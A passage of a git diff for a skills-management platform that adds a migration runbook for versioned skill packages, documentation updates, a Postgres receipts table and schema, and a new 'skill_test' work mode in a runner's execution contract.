+staging. It does not own acknowledged managed edits or installed version selection. +This guarantee does not qualify instructions, workspaces, controller state, run +logs, traffic switching or readiness/draining for volume removal. + +## Ownership and publication + +`managed` is Paperclip ownership. Its locator is null; editability does not depend +on a directory's position beneath a managed root. Existing policies normalize it +to `workspace`, the policy category previously used by managed local skills. +Repository provenance and tracking remain separate from installed content. Forks +and disconnected editable copies retain source access and cannot publish restricted +content through a public source category. + +`managed-skill-content.ts` reads immutable version inventories, prepares candidates, +and publishes them against a captured head. Package upload and verification happen +before the final database transaction. That transaction rechecks identity/access, +locks names in sorted order, locks the skill, verifies the base, and publishes the +version, head, projections and applicable mutation audit/receipt. Publication races +return `409`; clients must reconcile instead of automatically rebasing. Complete +inline versions remain the compatibility fallback when external writes are disabled; +they never depend on an installed directory. Normal cloud qualification uses remote +object storage. + +The initial create response, including its original version, can be replayed after +a lost response and subsequent edits. Its durable API receipt retains the response +projection without Markdown; the immutable version supplies the body. Receipts +remain scoped to company, actor and operation context. A deleted skill's receipt +fails explicitly rather than creating another identity. + +`skill-execution-content.ts` owns temporary materialization. Heartbeat preparation +selects authorized immutable versions, saves the selection (including an empty +selection), and only then materializes admitted entries while retaining the existing +retention lock. A renamed skill is recovered through the version's stable skill ID. +Native recovery resolves the version, reconstructs its v1 projection and requires +the admitted digest, manifest digest, file count and byte count to match. Adjacent +compatible releases must preserve that projection contract. + +Studio tests deliver the selected saved version through the same native Runner +path, even without a permanent agent assignment. Their `skill_test` mode remains +explicit in the execution input. The durable test row replaces ordinary agent +assignments with its exact version, independently of the Beta skills preference; +required environment skills remain subject to their existing policy. A shadowed +or inaccessible test skill fails preparation. Preconfigured Runner homes cannot +receive this managed delivery, so Studio requires an isolated home. Task-bound +credentials and native authorization +retain the admitted scope through restart and task-mode edits. Native tools expose +only the harness task and admitted skills; company browsing, task creation, +connectors and assigned MCP tools are unavailable. A rollback image must understand +that mode to continue an active Studio test. Settle tests before rolling back to an +earlier image that rejects it. + +Native task completion publishes the Studio result and output snapshot in the +same transaction as its status decision. Replaying a committed decision cannot +recapture later document edits or duplicate completion activity. A successful +provider turn alone does not complete a test whose task remains unfinished. + +Bundled release snapshots remain immutable. Reconciliation preserves an installed +head; an older process must never promote its shipped bytes over another installed +version. The shipped release history remains independently selectable. Linked-local +skills retain mutable source behavior and are explicitly excluded from cloud readiness. + +## One-time conversion + +First deploy compatible readers and shared/API types. Preserve the old volume and +keep legacy writers until the final supported contents can be captured. Automatic +JSONB package migration is separate from installation conversion; passing one does +not prove the other is finished. + +Run the existing bounded CLI with the target's explicit database and storage config: + +```sh +pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=eligibility --company= --limit=10 +pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company= --limit=10 +``` + +These commands return a cursor. Continue each phase with `--after=` until an +empty batch. Eligibility is a metadata-only report, not a storage verification claim. +Installation preview inspects candidate legacy contents without publishing them. +For remote legacy imports it can acquire their exact pinned source; it must never +use the latest branch as a replacement for missing installed content. + +1. Inventory all companies and source kinds. Identify missing versions, incomplete + inventory, local storage receipts, catalog reset snapshots and unresolved runs. +2. Backfill legacy package/version bodies with the existing `snapshots` and + `versions` phases. The latter also fills missing version metadata indexes so + subsequent library/history reads need no object downloads. Keep original bytes + until independent verification succeeds. +3. Stop admission and skill/source writers; retire every filesystem-authoritative + process. The `--writers-stopped` flag attests this operator action; it does not + stop the application itself. +4. Apply final installation conversion on the host with the legacy files: + + ```sh + pnpm --filter @paperclipai/server exec tsx scripts/migrate-skill-packages.ts --phase=installations --company= --limit=10 --apply --writers-stopped + ``` + +5. Sweep `eligibility` and `verification`, including all historical versions. The + latter verifies object bytes independently of caches. Follow all cursors; a + successful first batch is not a complete readiness report. +6. Start a compatible server with a fresh home and test list, file read, authoring, + history and exact selected execution before reopening normal admission. + +Managed conversion preserves skill IDs, keys, history, assignments, pins and access +provenance. Identical complete snapshots reuse their version IDs. Catalog conversion +preserves the original reset version as well as installed content. A missing legacy +directory can use a complete verified saved version. A partial Markdown-only rescue, +unknown revision, unsafe source tree or active legacy selection without exact version +identity is a blocker. Settle or snapshot such runs while A is still available; do +not cancel them simply to pass preflight. + +Report statuses distinguish linked-local sources, legacy managed/catalog records, +missing current versions, unknown active-run selections, missing/corrupt packages, +local storage and provider mismatch. Expired unused Git history keeps its existing +30-day/exact-commit policy. Current, pinned, authored and recovering versions need +independent durable content. `local_storage` is supported self-hosted durability; +it does not satisfy remote empty-disk recovery. + +## Storage and rollback + +Cloud readiness requires external Postgres and remote object storage. Migrate and +verify existing local-disk objects before changing provider/bucket configuration; +changing configuration alone does not copy receipts or objects. Keep the old provider +available until a provider migration has copied and independently verified every +referenced object and atomically updated its storage receipt. This command does not +perform provider migration: `local_storage` and `provider_mismatch` are blocking +results for cloud qualification, not instructions to switch configuration and retry. +A directory of extracted caches is never a durable object backend. + +Conversion establishes the rollback floor. Afterward only compatible version-reading +binaries may overlap or be rolled back against the same remote state. Reattaching an +old volume does not roll back committed content. Filesystem-authoritative binaries +require an explicit reverse migration and are unsupported rollback targets. +A routine compatible A → B upgrade needs no skills conversion or filesystem copy. + +A current version ID alone does not establish conversion completeness. Eligibility +and independent verification compare its file inventory with the installed record +and report `incomplete_current_version` when supporting files are missing. Installation +conversion can reacquire a complete exact pinned source; unavailable or unpinned +sources remain blockers. Historical versions are not compared with newer installed +inventories, since later revisions may legitimately add files. + +## Qualification + +The focused service suite covers publication rollback/conflict, supporting and binary +files, executable modes, restore/fork/rename, active-run deletion protection and legacy +conversion. The opt-in process suite starts independent Node servers with one database +connection each, exercises real HTTP routes and object storage, removes predecessor +homes and executes a delivered harmless script. It also injects a lost response, failed +upload and process death during upload. It is a skills-router qualification, not a +full hosted Runner or whole-application deployment claim. + +Use owned disposable Postgres and S3-compatible fixtures. The optional admin URL +creates a random database per test suite and never migrates the database named in +that URL. The S3 test creates and removes its own random bucket. Supply test-only AWS +credentials through the environment: + +```sh +PAPERCLIP_TEST_POSTGRES_ADMIN_URL= \ +PAPERCLIP_TEST_S3_ENDPOINT= \ +pnpm exec vitest run server/src/__tests__/ephemeral-skills-process.test.ts +``` + +Record revision, fixture image digests, version IDs, cache/object reads, cold/warm +timings and useful output. These local timings do not establish hosted latency. +Separately qualify one disposable staging tenant and a real remote Runner, including +an explicit repository import, historical pin, fresh-home replacements, compatible +rollback and recovery without predecessor paths. Publish the observed evidence with +the PR; a passing local suite is not that staging evidence. diff --git a/doc/skill-package-storage.md b/doc/skill-package-storage.md index 91fdd7c9005..68dbe427614 100644 --- a/doc/skill-package-storage.md +++ b/doc/skill-package-storage.md @@ -7,7 +7,26 @@ The original repository tree, wrappers, binary bytes and executable flags retain their existing behavior. New Git packages also retain an immutable restore recipe; locally authored/edited packages and unproven legacy packages keep a durable copy. -## Automatic upgrade +## Installed content authority + +Paperclip-owned skills use `sourceType: managed`, `sourceLocator: null`, and an +immutable `currentVersionId`. Creation, edits, deletion of files, forks and restores +prepare verified packages before a short transaction publishes the version, head, +metadata and audit. A competing head returns `409`; it never overwrites another +writer's files. Acknowledged saves survive cache loss. Studio submits the version it +read and preserves unsaved text on a conflict. + +Repository and catalog installations also read committed versions. Runtime selection +persists version pins before delivery materializes files. Recovery uses the pinned +version and checks its reconstructed v1 asset digest; a previous server's `rootPath` +is not proof of availability. Active or recovering run pins block whole-skill deletion, +even after the agent assignment is detached. Explicit linked-local sources retain +their local filesystem behavior and are outside this replacement guarantee. + +See [ephemeral web-server operation](skill-ephemeral-web-servers.md) for the one-time +installation conversion, rollback boundary and qualification procedure. + +## Automatic package upgrade No data-migration command is required. The normal schema upgrade applies migration 0415 (`0415_zippy_zemo.sql`). External writes and automatic conversion are enabled by default. Startup @@ -31,20 +50,30 @@ reader is the rollback floor; an older binary needs rehydrated database contents Use durable, backed-up local storage or S3-compatible storage for authored packages. The extracted cache is not that storage backend. -Deleting an editable file or folder keeps a temporary copy outside the skill until -the transaction commits. Upload or database failures restore the original subtree, -including binary files, permissions, empty folders and files omitted from inventory. -Successful deletions remove the temporary copy; historical versions retain their -existing package bytes. If the commit reply is lost, recovery checks the saved -version under the mutation lock before restoring. A committed deletion stays -deleted. If the database is unavailable or the skill has since changed, recovery -preserves the backup and logs its location instead of overwriting newer work. +Managed file and folder deletion publishes a new inventory. It requires no local +rollback copy. Unused uploads follow the existing orphan/deletion machinery; a +post-commit cache or notification failure cannot undo a committed save. Only the +explicit linked-local compatibility adapter retains filesystem rollback handling. + +Create idempotency receipts retain the original response projection and immutable +version identity in `company_skill_mutation_receipts`; file-save receipts keep their +existing activity receipt shape. Retries reauthorize access. Deleted identities do +not transfer their receipts to a skill recreated with the same name. Skill bodies +remain in packages/versions rather than activity logs. The optional `server/scripts/migrate-skill-packages.ts` command remains available for diagnostics and controlled batches. It defaults to dry run, supports -`--phase=snapshots|versions|orphans|deletions`, `--company=`, `--limit=1..50`, +`--phase=snapshots|versions|orphans|deletions|installations|eligibility|verification`, `--company=`, `--limit=1..50`, `--after=`, `--apply` and `--clear-legacy`. It is not part of normal installation -or upgrade. Never point it at another instance's database/storage configuration. +or compatible routine upgrade. The installations phase is the one-time legacy +conversion boundary described in the linked runbook. Never point it at another instance's database/storage configuration. + +New package-backed versions retain their complete path/kind/encoding index in +`package_file_map`, including identity mappings. Library and version listing read +this metadata without downloading manifests or archives. The bounded `versions` +phase also backfills older null indexes from verified manifests without changing +version IDs or content; include that phase in legacy conversion. Old null indexes +remain readable during conversion, with a cold manifest read when needed. ## Acquisition and retention @@ -83,8 +112,11 @@ Package/version publication and deletion use transaction-aware work notification local asset use signals its filesystem worker. Both reuse the delivery coordinator, restore deadlines on startup, pause in drain/standby, and stop on shutdown. With no pending conversion, retry, or eligible cache deadline they perform no recurring work. -The supported live writer is the owning server; independent SQL writers/other servers -need restart reconstruction or an explicit wake. No permanent DB listener is added. +Compatible servers resolve the durable head on each content operation and use +transactional publication checks. Content correctness needs no process-local +invalidation. Maintenance wake delivery across instances remains owned by the +delivery coordinator; startup reconstructs pending deadlines. No permanent +skills-specific DB listener is added. Conversion retains authoritative legacy bytes until verification succeeds. Conversion retries and cache/deletion dates are optional maintenance eligibility; they may wait until the next ingress wake, including with package storage disabled. They do not diff --git a/maps/agent-access-map/skills.md b/maps/agent-access-map/skills.md index 100a06f8921..f6c06d5d3bf 100644 --- a/maps/agent-access-map/skills.md +++ b/maps/agent-access-map/skills.md @@ -29,6 +29,15 @@ covers separate actors and revoked project access; the [package regression](../../server/src/__tests__/skill-package-store.test.ts) covers company isolation and warm-cache behavior. This does not claim live agent qualification. +Managed ownership remains in the existing `workspace` policy category. Immutable +content references do not grant authority: publication rechecks policy and source +access, and delivery/recovery rechecks the company's skill visibility. File reads +and mutations return `versionId`; content requests may supply `expectedVersionId` +and receive `409` on a stale base. Existing idempotent agent receipt shapes remain. +Detached assignments do not release active/recovering execution pins. These are +source-reviewed contracts; the independent-process board fixture is not agent +credential or hosted Runner qualification. + ## `discovery` Capability ID: `skills/discovery`. @@ -210,6 +219,20 @@ Gaps: No dedicated native orchestration binding; generic REST calls retain skills.test policy, task-assignment authorization, responsible-user intersection and admitted skill-test JWT scope. +Studio's `skill_test` work mode is admitted through native Runner selection and +preserved in execution input. The admitted task-bound scope restricts REST and +native authorization, including after task-mode edits and recovery. Native tools +allow only the harness task and admitted skills. Task creation, company browsing, +connectors and assigned MCP tools are unavailable; native mutation receipts recheck +the scope before replay or effects. +Preparation reads the pinned version from the durable test row, replaces ordinary +assignments, and enforces current skill access. Required environment skills retain +their owner policy; a shadowed test pin fails explicitly. Recovery preserves the +admitted selection. Preconfigured Runner homes reject managed Studio delivery. +The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts) +covers unassigned historical pins, Beta skills disabled, revoked access, recovery, +unchanged agent assignments, and assembled heartbeat dispatch. + Project-source API additions: GET `/api/companies/{companyId}/skill-sources/project-repositories`, POST `/api/companies/{companyId}/skill-sources/adopt-project` with `workspaceId`, and PATCH `/api/companies/{companyId}/skill-sources/{sourceId}/settings` with expected revision diff --git a/maps/feature-map/skills.md b/maps/feature-map/skills.md index c2cea1247ac..d1addcf3717 100644 --- a/maps/feature-map/skills.md +++ b/maps/feature-map/skills.md @@ -55,6 +55,14 @@ Automated: [Studio](../../ui/src/pages/SkillStudio.test.tsx) covers UI behavior; Manual: Create or fork a disposable skill, edit instructions, save, and reload. Run a bounded test, respond to any question, and inspect the output. Verify the saved version matches what was tested and failed saves retain the draft. +For managed skills, open the same file in two Studio sessions. Save through one, +then save the other's stale draft. It must receive a conflict, retain its text, +and offer **Load latest saved file** with discard confirmation. File reads and +mutation results identify the committed version. Managed content has no server +source-directory repair flow. The [domain regression](../../server/src/__tests__/managed-skill-content.test.ts) +and [process qualification](../../server/src/__tests__/ephemeral-skills-process.test.ts) +cover fresh-home recovery; remote Runner staging remains a separate live proof. + Version history lists file metadata without downloading archives. Opening a diff fetches only its selected versions; restoring fetches the chosen version. The [library UI regression](../../ui/src/pages/CompanySkills.test.tsx) checks deferred @@ -152,6 +160,12 @@ Capability ID: `skills/testing`. Scope: ui Storybook: Studio test inputs/configuration, running, question/approval, result and failed test states. Production: Run bounded test of actual saved version with correct selected account/environment; inspect persisted test detail and eligible interaction response. +Remote Runner selection accepts the Studio test work mode and preserves its +restricted scope; live qualification must cover the saved version delivered to +the selected Computer, including a skill with no permanent agent assignment. +The [execution configuration regression](../../server/src/__tests__/heartbeat-execution-configuration.test.ts) +checks that Studio's historical version replaces ordinary assignments without +changing the agent's configuration. Use an isolated Runner home for this journey. Sources: Source: [SkillStudio.tsx](../../ui/src/pages/SkillStudio.tsx), [companySkills.ts](../../ui/src/api/companySkills.ts). Tests: [SkillStudio.test.tsx](../../ui/src/pages/SkillStudio.test.tsx), [company-skill-test-runs-service.test.ts](../../server/src/__tests__/company-skill-test-runs-service.test.ts) ### Documentation scope: Skills, Skill Studio, and teams diff --git a/packages/db/src/migrations/0417_chunky_red_hulk.sql b/packages/db/src/migrations/0417_chunky_red_hulk.sql new file mode 100644 index 00000000000..68167c426a9 --- /dev/null +++ b/packages/db/src/migrations/0417_chunky_red_hulk.sql @@ -0,0 +1,19 @@ +CREATE TABLE IF NOT EXISTS "company_skill_mutation_receipts" ( + "company_id" uuid NOT NULL, + "key" text NOT NULL, + "fingerprint" text NOT NULL, + "skill_id" uuid NOT NULL, + "version_id" uuid NOT NULL, + "response" jsonb NOT NULL, + "created_at" timestamp with time zone DEFAULT now() NOT NULL +); +--> statement-breakpoint +DO $$ BEGIN + IF NOT EXISTS (SELECT 1 FROM pg_constraint + WHERE conname = 'company_skill_mutation_receipts_company_id_companies_id_fk' + AND conrelid = 'company_skill_mutation_receipts'::regclass) THEN + ALTER TABLE "company_skill_mutation_receipts" ADD CONSTRAINT "company_skill_mutation_receipts_company_id_companies_id_fk" FOREIGN KEY ("company_id") REFERENCES "public"."companies"("id") ON DELETE cascade ON UPDATE no action; + END IF; +END $$; +--> statement-breakpoint +CREATE UNIQUE INDEX IF NOT EXISTS "company_skill_mutation_receipts_key_idx" ON "company_skill_mutation_receipts" USING btree ("company_id","key"); diff --git a/packages/db/src/migrations/meta/0412_snapshot.json b/packages/db/src/migrations/meta/0417_snapshot.json similarity index 99% rename from packages/db/src/migrations/meta/0412_snapshot.json rename to packages/db/src/migrations/meta/0417_snapshot.json index 698666748b6..a81b201cc91 100644 --- a/packages/db/src/migrations/meta/0412_snapshot.json +++ b/packages/db/src/migrations/meta/0417_snapshot.json @@ -1,6 +1,6 @@ { - "id": "3b8bb508-028d-4154-abdd-af870f1f3ca6", - "prevId": "ff56ee93-8cfc-465a-b26a-1c12d10773ff", + "id": "c2c69a4a-8281-419c-9eeb-a7bcbc2beaae", + "prevId": "bbaeecd8-ff3f-4e70-a069-291bf3dc97bb", "version": "7", "dialect": "postgresql", "tables": { @@ -1351,6 +1351,39 @@ "method": "btree", "with": {} }, + "activity_log_company_entity_created_idx": { + "name": "activity_log_company_entity_created_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_type", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "entity_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "created_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, "activity_log_company_user_issue_actor_idx": { "name": "activity_log_company_user_issue_actor_idx", "columns": [ @@ -19019,6 +19052,98 @@ "checkConstraints": {}, "isRLSEnabled": false }, + "public.company_skill_mutation_receipts": { + "name": "company_skill_mutation_receipts", + "schema": "", + "columns": { + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "key": { + "name": "key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "fingerprint": { + "name": "fingerprint", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "skill_id": { + "name": "skill_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "version_id": { + "name": "version_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "response": { + "name": "response", + "type": "jsonb", + "primaryKey": false, + "notNull": true + }, + "created_at": { + "name": "created_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true, + "default": "now()" + } + }, + "indexes": { + "company_skill_mutation_receipts_key_idx": { + "name": "company_skill_mutation_receipts_key_idx", + "columns": [ + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "key", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": true, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": { + "company_skill_mutation_receipts_company_id_companies_id_fk": { + "name": "company_skill_mutation_receipts_company_id_companies_id_fk", + "tableFrom": "company_skill_mutation_receipts", + "tableTo": "companies", + "columnsFrom": [ + "company_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "cascade", + "onUpdate": "no action" + } + }, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, "public.company_skill_repository_snapshots": { "name": "company_skill_repository_snapshots", "schema": "", @@ -19046,7 +19171,46 @@ "name": "file_inventory", "type": "jsonb", "primaryKey": false, - "notNull": true + "notNull": true, + "default": "'[]'::jsonb" + }, + "storage": { + "name": "storage", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "upload": { + "name": "upload", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "restore": { + "name": "restore", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "migration_at": { + "name": "migration_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, + "maintenance_at": { + "name": "maintenance_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, + "restore_retry_at": { + "name": "restore_retry_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false }, "created_at": { "name": "created_at", @@ -19077,6 +19241,38 @@ "concurrently": false, "method": "btree", "with": {} + }, + "company_skill_snapshots_migration_idx": { + "name": "company_skill_snapshots_migration_idx", + "columns": [ + { + "expression": "migration_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_repository_snapshots\".\"migration_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_snapshots_maintenance_idx": { + "name": "company_skill_snapshots_maintenance_idx", + "columns": [ + { + "expression": "maintenance_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_repository_snapshots\".\"maintenance_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} } }, "foreignKeys": { @@ -19966,6 +20162,25 @@ "primaryKey": false, "notNull": false }, + "package_snapshot_id": { + "name": "package_snapshot_id", + "type": "uuid", + "primaryKey": false, + "notNull": false + }, + "package_file_map": { + "name": "package_file_map", + "type": "jsonb", + "primaryKey": false, + "notNull": false + }, + "migration_at": { + "name": "migration_at", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": false, + "default": "now()" + }, "revision_number": { "name": "revision_number", "type": "integer", @@ -20024,6 +20239,52 @@ } }, "indexes": { + "company_skill_versions_migration_idx": { + "name": "company_skill_versions_migration_idx", + "columns": [ + { + "expression": "migration_at", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"company_skill_versions\".\"migration_at\" is not null", + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_versions_package_snapshot_idx": { + "name": "company_skill_versions_package_snapshot_idx", + "columns": [ + { + "expression": "package_snapshot_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, + "company_skill_versions_repository_snapshot_idx": { + "name": "company_skill_versions_repository_snapshot_idx", + "columns": [ + { + "expression": "repository_snapshot_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + }, "company_skill_versions_skill_revision_idx": { "name": "company_skill_versions_skill_revision_idx", "columns": [ @@ -20135,6 +20396,19 @@ "onDelete": "restrict", "onUpdate": "no action" }, + "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk": { + "name": "company_skill_versions_package_snapshot_id_company_skill_repository_snapshots_id_fk", + "tableFrom": "company_skill_versions", + "tableTo": "company_skill_repository_snapshots", + "columnsFrom": [ + "package_snapshot_id" + ], + "columnsTo": [ + "id" + ], + "onDelete": "restrict", + "onUpdate": "no action" + }, "company_skill_versions_author_agent_id_agents_id_fk": { "name": "company_skill_versions_author_agent_id_agents_id_fk", "tableFrom": "company_skill_versions", @@ -20580,6 +20854,78 @@ "checkConstraints": {}, "isRLSEnabled": false }, + "public.skill_package_deletions": { + "name": "skill_package_deletions", + "schema": "", + "columns": { + "id": { + "name": "id", + "type": "uuid", + "primaryKey": true, + "notNull": true, + "default": "gen_random_uuid()" + }, + "company_id": { + "name": "company_id", + "type": "uuid", + "primaryKey": false, + "notNull": true + }, + "provider": { + "name": "provider", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "archive_key": { + "name": "archive_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "manifest_key": { + "name": "manifest_key", + "type": "text", + "primaryKey": false, + "notNull": true + }, + "delete_after": { + "name": "delete_after", + "type": "timestamp with time zone", + "primaryKey": false, + "notNull": true + } + }, + "indexes": { + "skill_package_deletions_due_idx": { + "name": "skill_package_deletions_due_idx", + "columns": [ + { + "expression": "delete_after", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "concurrently": false, + "method": "btree", + "with": {} + } + }, + "foreignKeys": {}, + "compositePrimaryKeys": {}, + "uniqueConstraints": {}, + "policies": {}, + "checkConstraints": {}, + "isRLSEnabled": false + }, "public.company_transfer_runs": { "name": "company_transfer_runs", "schema": "", @@ -33816,7 +34162,7 @@ } ], "isUnique": false, - "where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_failed')) IS NOT TRUE", + "where": "\"heartbeat_runs\".\"runtime_mode\" = 'native' AND \"heartbeat_runs\".\"status\" = 'cancelled'\n AND \"heartbeat_runs\".\"runner_profile_json\"->'nativeWorkspaceSync'->>'state' = 'prepared'\n AND \"heartbeat_runs\".\"result_json\"->'nativeCancellation'->>'dispatchState' = 'acknowledged'\n AND (\"heartbeat_runs\".\"result_json\"->'workspaceRestoreRecovery'->>'schema' = 'paperclip.workspace-restore-recovery.v1'\n AND \"heartbeat_runs\".\"result_json\"->>'workspaceRestoreFailure' IN ('restore_permission_denied', 'restore_lock_timeout', 'restore_unsafe_archive', 'restore_invalid_metadata', 'restore_failed')) IS NOT TRUE", "concurrently": false, "method": "btree", "with": {} @@ -36503,6 +36849,40 @@ "method": "btree", "with": {} }, + "issue_comments_review_response_receipt_idx": { + "name": "issue_comments_review_response_receipt_idx", + "columns": [ + { + "expression": "created_by_run_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "company_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "issue_id", + "isExpression": false, + "asc": true, + "nulls": "last" + }, + { + "expression": "author_agent_id", + "isExpression": false, + "asc": true, + "nulls": "last" + } + ], + "isUnique": false, + "where": "\"issue_comments\".\"author_type\" = 'agent' AND \"issue_comments\".\"metadata\"->>'authorizationReason' = 'allow_chat_run_presentation'", + "concurrently": false, + "method": "btree", + "with": {} + }, "issue_comments_company_idx": { "name": "issue_comments_company_idx", "columns": [ diff --git a/packages/db/src/migrations/meta/_journal.json b/packages/db/src/migrations/meta/_journal.json index 73f2d86b5e5..e63e3338e21 100644 --- a/packages/db/src/migrations/meta/_journal.json +++ b/packages/db/src/migrations/meta/_journal.json @@ -2906,6 +2906,13 @@ "when": 1793320102041, "tag": "0416_salty_domino", "breakpoints": true + }, + { + "idx": 417, + "version": "7", + "when": 1793371684483, + "tag": "0417_chunky_red_hulk", + "breakpoints": true } ] } \ No newline at end of file diff --git a/packages/db/src/schema/company_skills.ts b/packages/db/src/schema/company_skills.ts index 4f4fc2f0e6e..ff290f1ed72 100644 --- a/packages/db/src/schema/company_skills.ts +++ b/packages/db/src/schema/company_skills.ts @@ -70,6 +70,18 @@ export type CompanySkillVersionFileInventoryEntry = CompanySkillFileInventoryEnt executable?: boolean; }; +export const companySkillMutationReceipts = pgTable("company_skill_mutation_receipts", { + companyId: uuid("company_id").notNull().references(() => companies.id, { onDelete: "cascade" }), + key: text("key").notNull(), + fingerprint: text("fingerprint").notNull(), + skillId: uuid("skill_id").notNull(), + versionId: uuid("version_id").notNull(), + response: jsonb("response").$type>().notNull(), + createdAt: timestamp("created_at", { withTimezone: true }).notNull().defaultNow(), +}, table => ({ + keyIdx: uniqueIndex("company_skill_mutation_receipts_key_idx").on(table.companyId, table.key), +})); + export type SkillPackageStorageReceipt = { durable?: boolean; format: "tar-gzip-v1"; diff --git a/packages/db/src/schema/index.ts b/packages/db/src/schema/index.ts index 9632226c874..5c281a447c0 100644 --- a/packages/db/src/schema/index.ts +++ b/packages/db/src/schema/index.ts @@ -193,6 +193,7 @@ export { } from "./tool_access.js"; export { companySkills, + companySkillMutationReceipts, companySkillVersions, companySkillRepositorySnapshots, skillPackageDeletions, companySkillStars, companySkillComments, diff --git a/packages/paperclip-runner/src/contracts/native-execution.test.ts b/packages/paperclip-runner/src/contracts/native-execution.test.ts index 2a38041bbd5..160611117ad 100644 --- a/packages/paperclip-runner/src/contracts/native-execution.test.ts +++ b/packages/paperclip-runner/src/contracts/native-execution.test.ts @@ -567,34 +567,34 @@ describe("NativeExecutionInputV2 planning", () => { }); }); -describe("NativeExecutionInputV2 ask mode", () => { - it("round-trips ask mode as a default execution without planning context", () => { +describe.each(["ask", "skill_test"])("NativeExecutionInputV2 %s mode", (workMode) => { + it("round-trips the restricted mode as a default execution without planning context", () => { const parsed = parseNativeExecutionInput({ ...input, schema: "paperclip.native-execution-input.v2", executionMode: "default", - task: { ...input.task, workMode: "ask" }, + task: { ...input.task, workMode }, planningContext: null, }); expect(parsed).toMatchObject({ schema: "paperclip.native-execution-input.v2", executionMode: "default", - task: { workMode: "ask" }, + task: { workMode }, }); expect(buildNativeModelEnvelope(parsed)).toMatchObject({ schema: "paperclip.native-model-envelope.v2", - task: { workMode: "ask" }, + task: { workMode }, executionMode: "default", planningContext: null, }); }); - it("rejects plan execution for ask mode", () => { + it("rejects plan execution for the restricted mode", () => { expect(() => parseNativeExecutionInput({ ...input, schema: "paperclip.native-execution-input.v2", executionMode: "plan", - task: { ...input.task, workMode: "ask" }, + task: { ...input.task, workMode }, planningContext: { documentId: null, baseRevisionId: null, diff --git a/packages/paperclip-runner/src/contracts/native-execution.ts b/packages/paperclip-runner/src/contracts/native-execution.ts index a73b03383e7..aecbdd0e86c 100644 --- a/packages/paperclip-runner/src/contracts/native-execution.ts +++ b/packages/paperclip-runner/src/contracts/native-execution.ts @@ -210,7 +210,7 @@ export interface NativeExecutionInputV2 extends Omit & { - workMode: "standard" | "planning" | "ask"; + workMode: "standard" | "planning" | "ask" | "skill_test"; }; planningContext: NativePlanningContext | null; } @@ -486,8 +486,8 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput const contract = record(completionContract.contract, "input.completionContract.contract"); exactKeys(contract, ["revision", "objective", "criteria"], "input.completionContract.contract"); - if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask")) { - throw new NativeExecutionInputError("input.task.workMode must be standard, planning, or ask"); + if (task.workMode !== "standard" && (!isV2 || task.workMode !== "planning" && task.workMode !== "ask" && task.workMode !== "skill_test")) { + throw new NativeExecutionInputError("input.task.workMode must be standard, planning, ask, or skill_test"); } const executionMode: NativeExecutionMode = isV2 && input.executionMode === "plan" ? "plan" : "default"; if (isV2 && input.executionMode !== "default" && input.executionMode !== "plan") { @@ -871,7 +871,7 @@ export function parseNativeExecutionInput(value: unknown): NativeExecutionInput // Recovery 